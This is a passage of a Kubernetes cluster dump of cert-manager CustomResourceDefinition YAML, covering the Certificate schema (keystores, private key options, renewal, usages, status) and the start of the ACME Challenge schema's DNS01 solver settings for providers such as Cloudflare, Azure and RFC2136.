                    This option defaults to true, and should only be disabled if the target
                    issuer does not support CSRs with these X509 KeyUsage/ ExtKeyUsage extensions.
                  type: boolean
                ipAddresses:
                  description: Requested IP address subject alternative names.
                  items:
                    type: string
                  type: array
                isCA:
                  description: |-
                    Requested basic constraints isCA value.
                    The isCA value is used to set the `isCA` field on the created CertificateRequest
                    resources. Note that the issuer may choose to ignore the requested isCA value, just
                    like any other requested attribute.

                    If true, this will automatically add the `cert sign` usage to the list
                    of requested `usages`.
                  type: boolean
                issuerRef:
                  description: |-
                    Reference to the issuer responsible for issuing the certificate.
                    If the issuer is namespace-scoped, it must be in the same namespace
                    as the Certificate. If the issuer is cluster-scoped, it can be used
                    from any namespace.

                    The `name` field of the reference must always be specified.
                  properties:
                    group:
                      description: Group of the resource being referred to.
                      type: string
                    kind:
                      description: Kind of the resource being referred to.
                      type: string
                    name:
                      description: Name of the resource being referred to.
                      type: string
                  required:
                  - name
                  type: object
                keystores:
                  description: Additional keystore output formats to be stored in
                    the Certificate's Secret.
                  properties:
                    jks:
                      description: |-
                        JKS configures options for storing a JKS keystore in the
                        `spec.secretName` Secret resource.
                      properties:
                        alias:
                          description: |-
                            Alias specifies the alias of the key in the keystore, required by the JKS format.
                            If not provided, the default alias `certificate` will be used.
                          type: string
                        create:
                          description: |-
                            Create enables JKS keystore creation for the Certificate.
                            If true, a file named `keystore.jks` will be created in the target
                            Secret resource, encrypted using the password stored in
                            `passwordSecretRef` or `password`.
                            The keystore file will be updated immediately.
                            If the issuer provided a CA certificate, a file named `truststore.jks`
                            will also be created in the target Secret resource, encrypted using the
                            password stored in `passwordSecretRef`
                            containing the issuing Certificate Authority
                          type: boolean
                        password:
                          description: |-
                            Password provides a literal password used to encrypt the JKS keystore.
                            Mutually exclusive with passwordSecretRef.
                            One of password or passwordSecretRef must provide a password with a non-zero length.
                          type: string
                        passwordSecretRef:
                          description: |-
                            PasswordSecretRef is a reference to a non-empty key in a Secret resource
                            containing the password used to encrypt the JKS keystore.
                            Mutually exclusive with password.
                            One of password or passwordSecretRef must provide a password with a non-zero length.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                      required:
                      - create
                      type: object
                    pkcs12:
                      description: |-
                        PKCS12 configures options for storing a PKCS12 keystore in the
                        `spec.secretName` Secret resource.
                      properties:
                        create:
                          description: |-
                            Create enables PKCS12 keystore creation for the Certificate.
                            If true, a file named `keystore.p12` will be created in the target
                            Secret resource, encrypted using the password stored in
                            `passwordSecretRef` or in `password`.
                            The keystore file will be updated immediately.
                            If the issuer provided a CA certificate, a file named `truststore.p12` will
                            also be created in the target Secret resource, encrypted using the
                            password stored in `passwordSecretRef` containing the issuing Certificate
                            Authority
                          type: boolean
                        password:
                          description: |-
                            Password provides a literal password used to encrypt the PKCS#12 keystore.
                            Mutually exclusive with passwordSecretRef.
                            One of password or passwordSecretRef must provide a password with a non-zero length.
                          type: string
                        passwordSecretRef:
                          description: |-
                            PasswordSecretRef is a reference to a non-empty key in a Secret resource
                            containing the password used to encrypt the PKCS#12 keystore.
                            Mutually exclusive with password.
                            One of password or passwordSecretRef must provide a password with a non-zero length.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                        profile:
                          description: |-
                            Profile specifies the key and certificate encryption algorithms and the HMAC algorithm
                            used to create the PKCS12 keystore. Default value is `LegacyRC2` for backward compatibility.

                            If provided, allowed values are:
                            `LegacyRC2`: Deprecated. Not supported by default in OpenSSL 3 or Java 20.
                            `LegacyDES`: Less secure algorithm. Use this option for maximal compatibility.
                            `Modern2023`: Secure algorithm. Use this option in case you have to always use secure algorithms
                            (e.g., because of company policy). Please note that the security of the algorithm is not that important
                            in reality, because the unencrypted certificate and private key are also stored in the Secret.
                          enum:
                          - LegacyRC2
                          - LegacyDES
                          - Modern2023
                          type: string
                      required:
                      - create
                      type: object
                  type: object
                literalSubject:
                  description: |-
                    Requested X.509 certificate subject, represented using the LDAP "String
                    Representation of a Distinguished Name" [1].
                    Important: the LDAP string format also specifies the order of the attributes
                    in the subject, this is important when issuing certs for LDAP authentication.
                    Example: `CN=foo,DC=corp,DC=example,DC=com`
                    More info [1]: https://datatracker.ietf.org/doc/html/rfc4514
                    More info: https://github.com/cert-manager/cert-manager/issues/3203
                    More info: https://github.com/cert-manager/cert-manager/issues/4424

                    Cannot be set if the `subject` or `commonName` field is set.
                  type: string
                nameConstraints:
                  description: |-
                    x.509 certificate NameConstraint extension which MUST NOT be used in a non-CA certificate.
                    More Info: https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.1.10

                    This is an Alpha Feature and is only enabled with the
                    `--feature-gates=NameConstraints=true` option set on both
                    the controller and webhook components.
                  properties:
                    critical:
                      description: if true then the name constraints are marked critical.
                      type: boolean
                    excluded:
                      description: |-
                        Excluded contains the constraints which must be disallowed. Any name matching a
                        restriction in the excluded field is invalid regardless
                        of information appearing in the permitted
                      properties:
                        dnsDomains:
                          description: DNSDomains is a list of DNS domains that are
                            permitted or excluded.
                          items:
                            type: string
                          type: array
                        emailAddresses:
                          description: EmailAddresses is a list of Email Addresses
                            that are permitted or excluded.
                          items:
                            type: string
                          type: array
                        ipRanges:
                          description: |-
                            IPRanges is a list of IP Ranges that are permitted or excluded.
                            This should be a valid CIDR notation.
                          items:
                            type: string
                          type: array
                        uriDomains:
                          description: URIDomains is a list of URI domains that are
                            permitted or excluded.
                          items:
                            type: string
                          type: array
                      type: object
                    permitted:
                      description: Permitted contains the constraints in which the
                        names must be located.
                      properties:
                        dnsDomains:
                          description: DNSDomains is a list of DNS domains that are
                            permitted or excluded.
                          items:
                            type: string
                          type: array
                        emailAddresses:
                          description: EmailAddresses is a list of Email Addresses
                            that are permitted or excluded.
                          items:
                            type: string
                          type: array
                        ipRanges:
                          description: |-
                            IPRanges is a list of IP Ranges that are permitted or excluded.
                            This should be a valid CIDR notation.
                          items:
                            type: string
                          type: array
                        uriDomains:
                          description: URIDomains is a list of URI domains that are
                            permitted or excluded.
                          items:
                            type: string
                          type: array
                      type: object
                  type: object
                otherNames:
                  description: |-
                    `otherNames` is an escape hatch for SAN that allows any type. We currently restrict the support to string like otherNames, cf RFC 5280 p 37
                    Any UTF8 String valued otherName can be passed with by setting the keys oid: x.x.x.x and UTF8Value: somevalue for `otherName`.
                    Most commonly this would be UPN set with oid: 1.3.6.1.4.1.311.20.2.3
                    You should ensure that any OID passed is valid for the UTF8String type as we do not explicitly validate this.
                  items:
                    properties:
                      oid:
                        description: |-
                          OID is the object identifier for the otherName SAN.
                          The object identifier must be expressed as a dotted string, for
                          example, "1.2.840.113556.1.4.221".
                        type: string
                      utf8Value:
                        description: |-
                          utf8Value is the string value of the otherName SAN.
                          The utf8Value accepts any valid UTF8 string to set as value for the otherName SAN.
                        type: string
                    type: object
                  type: array
                privateKey:
                  description: |-
                    Private key options. These include the key algorithm and size, the used
                    encoding and the rotation policy.
                  properties:
                    algorithm:
                      description: |-
                        Algorithm is the private key algorithm of the corresponding private key
                        for this certificate.

                        If provided, allowed values are either `RSA`, `ECDSA` or `Ed25519`.
                        If `algorithm` is specified and `size` is not provided,
                        key size of 2048 will be used for `RSA` key algorithm and
                        key size of 256 will be used for `ECDSA` key algorithm.
                        key size is ignored when using the `Ed25519` key algorithm.
                      enum:
                      - RSA
                      - ECDSA
                      - Ed25519
                      type: string
                    encoding:
                      description: |-
                        The private key cryptography standards (PKCS) encoding for this
                        certificate's private key to be encoded in.

                        If provided, allowed values are `PKCS1` and `PKCS8` standing for PKCS#1
                        and PKCS#8, respectively.
                        Defaults to `PKCS1` if not specified.
                      enum:
                      - PKCS1
                      - PKCS8
                      type: string
                    rotationPolicy:
                      description: |-
                        RotationPolicy controls how private keys should be regenerated when a
                        re-issuance is being processed.

                        If set to `Never`, a private key will only be generated if one does not
                        already exist in the target `spec.secretName`. If one does exist but it
                        does not have the correct algorithm or size, a warning will be raised
                        to await user intervention.
                        If set to `Always`, a private key matching the specified requirements
                        will be generated whenever a re-issuance occurs.
                        Default is `Always`.
                        The default was changed from `Never` to `Always` in cert-manager >=v1.18.0.
                        The new default can be disabled by setting the
                        `--feature-gates=DefaultPrivateKeyRotationPolicyAlways=false` option on
                        the controller component.
                      enum:
                      - Never
                      - Always
                      type: string
                    size:
                      description: |-
                        Size is the key bit size of the corresponding private key for this certificate.

                        If `algorithm` is set to `RSA`, valid values are `2048`, `4096` or `8192`,
                        and will default to `2048` if not specified.
                        If `algorithm` is set to `ECDSA`, valid values are `256`, `384` or `521`,
                        and will default to `256` if not specified.
                        If `algorithm` is set to `Ed25519`, Size is ignored.
                        No other values are allowed.
                      type: integer
                  type: object
                renewBefore:
                  description: |-
                    How long before the currently issued certificate's expiry cert-manager should
                    renew the certificate. For example, if a certificate is valid for 60 minutes,
                    and `renewBefore=10m`, cert-manager will begin to attempt to renew the certificate
                    50 minutes after it was issued (i.e. when there are 10 minutes remaining until
                    the certificate is no longer valid).

                    NOTE: The actual lifetime of the issued certificate is used to determine the
                    renewal time. If an issuer returns a certificate with a different lifetime than
                    the one requested, cert-manager will use the lifetime of the issued certificate.

                    If unset, this defaults to 1/3 of the issued certificate's lifetime.
                    Minimum accepted value is 5 minutes.
                    Value must be in units accepted by Go time.ParseDuration https://golang.org/pkg/time/#ParseDuration.
                    Cannot be set if the `renewBeforePercentage` field is set.
                  type: string
                renewBeforePercentage:
                  description: |-
                    `renewBeforePercentage` is like `renewBefore`, except it is a relative percentage
                    rather than an absolute duration. For example, if a certificate is valid for 60
                    minutes, and  `renewBeforePercentage=25`, cert-manager will begin to attempt to
                    renew the certificate 45 minutes after it was issued (i.e. when there are 15
                    minutes (25%) remaining until the certificate is no longer valid).

                    NOTE: The actual lifetime of the issued certificate is used to determine the
                    renewal time. If an issuer returns a certificate with a different lifetime than
                    the one requested, cert-manager will use the lifetime of the issued certificate.

                    Value must be an integer in the range (0,100). The minimum effective
                    `renewBefore` derived from the `renewBeforePercentage` and `duration` fields is 5
                    minutes.
                    Cannot be set if the `renewBefore` field is set.
                  format: int32
                  type: integer
                revisionHistoryLimit:
                  description: |-
                    The maximum number of CertificateRequest revisions that are maintained in
                    the Certificate's history. Each revision represents a single `CertificateRequest`
                    created by this Certificate, either when it was created, renewed, or Spec
                    was changed. Revisions will be removed by oldest first if the number of
                    revisions exceeds this number.

                    If set, revisionHistoryLimit must be a value of `1` or greater.
                    Default value is `1`.
                  format: int32
                  type: integer
                secretName:
                  description: |-
                    Name of the Secret resource that will be automatically created and
                    managed by this Certificate resource. It will be populated with a
                    private key and certificate, signed by the denoted issuer. The Secret
                    resource lives in the same namespace as the Certificate resource.
                  type: string
                secretTemplate:
                  description: |-
                    Defines annotations and labels to be copied to the Certificate's Secret.
                    Labels and annotations on the Secret will be changed as they appear on the
                    SecretTemplate when added or removed. SecretTemplate annotations are added
                    in conjunction with, and cannot overwrite, the base set of annotations
                    cert-manager sets on the Certificate's Secret.
                  properties:
                    annotations:
                      additionalProperties:
                        type: string
                      description: Annotations is a key value map to be copied to
                        the target Kubernetes Secret.
                      type: object
                    labels:
                      additionalProperties:
                        type: string
                      description: Labels is a key value map to be copied to the target
                        Kubernetes Secret.
                      type: object
                  type: object
                signatureAlgorithm:
                  description: |-
                    Signature algorithm to use.
                    Allowed values for RSA keys: SHA256WithRSA, SHA384WithRSA, SHA512WithRSA.
                    Allowed values for ECDSA keys: ECDSAWithSHA256, ECDSAWithSHA384, ECDSAWithSHA512.
                    Allowed values for Ed25519 keys: PureEd25519.
                  enum:
                  - SHA256WithRSA
                  - SHA384WithRSA
                  - SHA512WithRSA
                  - ECDSAWithSHA256
                  - ECDSAWithSHA384
                  - ECDSAWithSHA512
                  - PureEd25519
                  type: string
                subject:
                  description: |-
                    Requested set of X509 certificate subject attributes.
                    More info: https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.6

                    The common name attribute is specified separately in the `commonName` field.
                    Cannot be set if the `literalSubject` field is set.
                  properties:
                    countries:
                      description: Countries to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    localities:
                      description: Cities to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    organizationalUnits:
                      description: Organizational Units to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    organizations:
                      description: Organizations to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    postalCodes:
                      description: Postal codes to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    provinces:
                      description: State/Provinces to be used on the Certificate.
                      items:
                        type: string
                      type: array
                    serialNumber:
                      description: Serial number to be used on the Certificate.
                      type: string
                    streetAddresses:
                      description: Street addresses to be used on the Certificate.
                      items:
                        type: string
                      type: array
                  type: object
                uris:
                  description: Requested URI subject alternative names.
                  items:
                    type: string
                  type: array
                usages:
                  description: |-
                    Requested key usages and extended key usages.
                    These usages are used to set the `usages` field on the created CertificateRequest
                    resources. If `encodeUsagesInRequest` is unset or set to `true`, the usages
                    will additionally be encoded in the `request` field which contains the CSR blob.

                    If unset, defaults to `digital signature` and `key encipherment`.
                  items:
                    description: |-
                      KeyUsage specifies valid usage contexts for keys.
                      See:
                      https://tools.ietf.org/html/rfc5280#section-4.2.1.3
                      https://tools.ietf.org/html/rfc5280#section-4.2.1.12

                      Valid KeyUsage values are as follows:
                      "signing",
                      "digital signature",
                      "content commitment",
                      "key encipherment",
                      "key agreement",
                      "data encipherment",
                      "cert sign",
                      "crl sign",
                      "encipher only",
                      "decipher only",
                      "any",
                      "server auth",
                      "client auth",
                      "code signing",
                      "email protection",
                      "s/mime",
                      "ipsec end system",
                      "ipsec tunnel",
                      "ipsec user",
                      "timestamping",
                      "ocsp signing",
                      "microsoft sgc",
                      "netscape sgc"
                    enum:
                    - signing
                    - digital signature
                    - content commitment
                    - key encipherment
                    - key agreement
                    - data encipherment
                    - cert sign
                    - crl sign
                    - encipher only
                    - decipher only
                    - any
                    - server auth
                    - client auth
                    - code signing
                    - email protection
                    - s/mime
                    - ipsec end system
                    - ipsec tunnel
                    - ipsec user
                    - timestamping
                    - ocsp signing
                    - microsoft sgc
                    - netscape sgc
                    type: string
                  type: array
              required:
              - issuerRef
              - secretName
              type: object
            status:
              description: |-
                Status of the Certificate.
                This is set and managed automatically.
                Read-only.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
              properties:
                conditions:
                  description: |-
                    List of status conditions to indicate the status of certificates.
                    Known condition types are `Ready` and `Issuing`.
                  items:
                    description: CertificateCondition contains condition information
                      for a Certificate.
                    properties:
                      lastTransitionTime:
                        description: |-
                          LastTransitionTime is the timestamp corresponding to the last status
                          change of this condition.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          Message is a human readable description of the details of the last
                          transition, complementing reason.
                        type: string
                      observedGeneration:
                        description: |-
                          If set, this represents the .metadata.generation that the condition was
                          set based upon.
                          For instance, if .metadata.generation is currently 12, but the
                          .status.condition[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the Certificate.
                        format: int64
                        type: integer
                      reason:
                        description: |-
                          Reason is a brief machine readable explanation for the condition's last
                          transition.
                        type: string
                      status:
                        description: Status of the condition, one of (`True`, `False`,
                          `Unknown`).
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: Type of the condition, known values are (`Ready`,
                          `Issuing`).
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
                failedIssuanceAttempts:
                  description: |-
                    The number of continuous failed issuance attempts up till now. This
                    field gets removed (if set) on a successful issuance and gets set to
                    1 if unset and an issuance has failed. If an issuance has failed, the
                    delay till the next issuance will be calculated using formula
                    time.Hour * 2 ^ (failedIssuanceAttempts - 1).
                  type: integer
                lastFailureTime:
                  description: |-
                    LastFailureTime is set only if the latest issuance for this
                    Certificate failed and contains the time of the failure. If an
                    issuance has failed, the delay till the next issuance will be
                    calculated using formula time.Hour * 2 ^ (failedIssuanceAttempts -
                    1). If the latest issuance has succeeded this field will be unset.
                  format: date-time
                  type: string
                nextPrivateKeySecretName:
                  description: |-
                    The name of the Secret resource containing the private key to be used
                    for the next certificate iteration.
                    The keymanager controller will automatically set this field if the
                    `Issuing` condition is set to `True`.
                    It will automatically unset this field when the Issuing condition is
                    not set or False.
                  type: string
                notAfter:
                  description: |-
                    The expiration time of the certificate stored in the secret named
                    by this resource in `spec.secretName`.
                  format: date-time
                  type: string
                notBefore:
                  description: |-
                    The time after which the certificate stored in the secret named
                    by this resource in `spec.secretName` is valid.
                  format: date-time
                  type: string
                renewalTime:
                  description: |-
                    RenewalTime is the time at which the certificate will be next
                    renewed.
                    If not set, no upcoming renewal is scheduled.
                  format: date-time
                  type: string
                revision:
                  description: |-
                    The current 'revision' of the certificate as issued.

                    When a CertificateRequest resource is created, it will have the
                    `cert-manager.io/certificate-revision` set to one greater than the
                    current value of this field.

                    Upon issuance, this field will be set to the value of the annotation
                    on the CertificateRequest resource used to issue the certificate.

                    Persisting the value on the CertificateRequest resource allows the
                    certificates controller to know whether a request is part of an old
                    issuance or if it is part of the ongoing revision's issuance by
                    checking if the revision value in the annotation is greater than this
                    field.
                  type: integer
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      kind: Certificate
      listKind: CertificateList
      plural: certificates
      shortNames:
      - cert
      - certs
      singular: certificate
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: challenges.acme.cert-manager.io
    resourceVersion: "220089"
    uid: 2b3d42ca-807b-4456-9015-85629c456678
  spec:
    conversion:
      strategy: None
    group: acme.cert-manager.io
    names:
      categories:
      - cert-manager
      - cert-manager-acme
      kind: Challenge
      listKind: ChallengeList
      plural: challenges
      singular: challenge
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.state
        name: State
        type: string
      - jsonPath: .spec.dnsName
        name: Domain
        type: string
      - jsonPath: .status.reason
        name: Reason
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: Challenge is a type to represent a Challenge request with an
            ACME server
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                authorizationURL:
                  description: |-
                    The URL to the ACME Authorization resource that this
                    challenge is a part of.
                  type: string
                dnsName:
                  description: |-
                    dnsName is the identifier that this challenge is for, e.g., example.com.
                    If the requested DNSName is a 'wildcard', this field MUST be set to the
                    non-wildcard domain, e.g., for `*.example.com`, it must be `example.com`.
                  type: string
                issuerRef:
                  description: |-
                    References a properly configured ACME-type Issuer which should
                    be used to create this Challenge.
                    If the Issuer does not exist, processing will be retried.
                    If the Issuer is not an 'ACME' Issuer, an error will be returned and the
                    Challenge will be marked as failed.
                  properties:
                    group:
                      description: Group of the resource being referred to.
                      type: string
                    kind:
                      description: Kind of the resource being referred to.
                      type: string
                    name:
                      description: Name of the resource being referred to.
                      type: string
                  required:
                  - name
                  type: object
                key:
                  description: |-
                    The ACME challenge key for this challenge
                    For HTTP01 challenges, this is the value that must be responded with to
                    complete the HTTP01 challenge in the format:
                    `<private key JWK thumbprint>.<key from acme server for challenge>`.
                    For DNS01 challenges, this is the base64 encoded SHA256 sum of the
                    `<private key JWK thumbprint>.<key from acme server for challenge>`
                    text that must be set as the TXT record content.
                  type: string
                solver:
                  description: |-
                    Contains the domain solving configuration that should be used to
                    solve this challenge resource.
                  properties:
                    dns01:
                      description: |-
                        Configures cert-manager to attempt to complete authorizations by
                        performing the DNS01 challenge flow.
                      properties:
                        acmeDNS:
                          description: |-
                            Use the 'ACME DNS' (https://github.com/joohoi/acme-dns) API to manage
                            DNS01 challenge records.
                          properties:
                            accountSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            host:
                              type: string
                          required:
                          - accountSecretRef
                          - host
                          type: object
                        akamai:
                          description: Use the Akamai DNS zone management API to manage
                            DNS01 challenge records.
                          properties:
                            accessTokenSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            clientSecretSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            clientTokenSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            serviceConsumerDomain:
                              type: string
                          required:
                          - accessTokenSecretRef
                          - clientSecretSecretRef
                          - clientTokenSecretRef
                          - serviceConsumerDomain
                          type: object
                        azureDNS:
                          description: Use the Microsoft Azure DNS API to manage DNS01
                            challenge records.
                          properties:
                            clientID:
                              description: |-
                                Auth: Azure Service Principal:
                                The ClientID of the Azure Service Principal used to authenticate with Azure DNS.
                                If set, ClientSecret and TenantID must also be set.
                              type: string
                            clientSecretSecretRef:
                              description: |-
                                Auth: Azure Service Principal:
                                A reference to a Secret containing the password associated with the Service Principal.
                                If set, ClientID and TenantID must also be set.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            environment:
                              description: name of the Azure environment (default
                                AzurePublicCloud)
                              enum:
                              - AzurePublicCloud
                              - AzureChinaCloud
                              - AzureGermanCloud
                              - AzureUSGovernmentCloud
                              type: string
                            hostedZoneName:
                              description: name of the DNS zone that should be used
                              type: string
                            managedIdentity:
                              description: |-
                                Auth: Azure Workload Identity or Azure Managed Service Identity:
                                Settings to enable Azure Workload Identity or Azure Managed Service Identity
                                If set, ClientID, ClientSecret and TenantID must not be set.
                              properties:
                                clientID:
                                  description: client ID of the managed identity,
                                    cannot be used at the same time as resourceID
                                  type: string
                                resourceID:
                                  description: |-
                                    resource ID of the managed identity, cannot be used at the same time as clientID
                                    Cannot be used for Azure Managed Service Identity
                                  type: string
                                tenantID:
                                  description: tenant ID of the managed identity,
                                    cannot be used at the same time as resourceID
                                  type: string
                              type: object
                            resourceGroupName:
                              description: resource group the DNS zone is located
                                in
                              type: string
                            subscriptionID:
                              description: ID of the Azure subscription
                              type: string
                            tenantID:
                              description: |-
                                Auth: Azure Service Principal:
                                The TenantID of the Azure Service Principal used to authenticate with Azure DNS.
                                If set, ClientID and ClientSecret must also be set.
                              type: string
                          required:
                          - resourceGroupName
                          - subscriptionID
                          type: object
                        cloudDNS:
                          description: Use the Google Cloud DNS API to manage DNS01
                            challenge records.
                          properties:
                            hostedZoneName:
                              description: |-
                                HostedZoneName is an optional field that tells cert-manager in which
                                Cloud DNS zone the challenge record has to be created.
                                If left empty cert-manager will automatically choose a zone.
                              type: string
                            project:
                              type: string
                            serviceAccountSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - project
                          type: object
                        cloudflare:
                          description: Use the Cloudflare API to manage DNS01 challenge
                            records.
                          properties:
                            apiKeySecretRef:
                              description: |-
                                API key to use to authenticate with Cloudflare.
                                Note: using an API token to authenticate is now the recommended method
                                as it allows greater control of permissions.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            apiTokenSecretRef:
                              description: API token used to authenticate with Cloudflare.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            email:
                              description: Email of the account, only required when
                                using API key based authentication.
                              type: string
                          type: object
                        cnameStrategy:
                          description: |-
                            CNAMEStrategy configures how the DNS01 provider should handle CNAME
                            records when found in DNS zones.
                          enum:
                          - None
                          - Follow
                          type: string
                        digitalocean:
                          description: Use the DigitalOcean DNS API to manage DNS01
                            challenge records.
                          properties:
                            tokenSecretRef:
                              description: |-
                                A reference to a specific 'key' within a Secret resource.
                                In some instances, `key` is a required field.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - tokenSecretRef
                          type: object
                        rfc2136:
                          description: |-
                            Use RFC2136 ("Dynamic Updates in the Domain Name System") (https://datatracker.ietf.org/doc/rfc2136/)
                            to manage DNS01 challenge records.
                          properties:
                            nameserver:
                              description: |-
                                The IP address or hostname of an authoritative DNS server supporting
                                RFC2136 in the form host:port. If the host is an IPv6 address it must be
                                enclosed in square brackets (e.g [2001:db8::1]) ; port is optional.
                                This field is required.
                              type: string
                            tsigAlgorithm:
                              description: |-
                                The TSIG Algorithm configured in the DNS supporting RFC2136. Used only
                                when ``tsigSecretSecretRef`` and ``tsigKeyName`` are defined.
                                Supported values are (case-insensitive): ``HMACMD5`` (default),
                                ``HMACSHA1``, ``HMACSHA256`` or ``HMACSHA512``.
                              type: string
                            tsigKeyName:
                              description: |-
                                The TSIG Key name configured in the DNS.
                                If ``tsigSecretSecretRef`` is defined, this field is required.
                              type: string
                            tsigSecretSecretRef:
                              description: |-
                                The name of the secret containing the TSIG value.
                                If ``tsigKeyName`` is defined, this field is required.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - nameserver
                          type: object
                        route53:
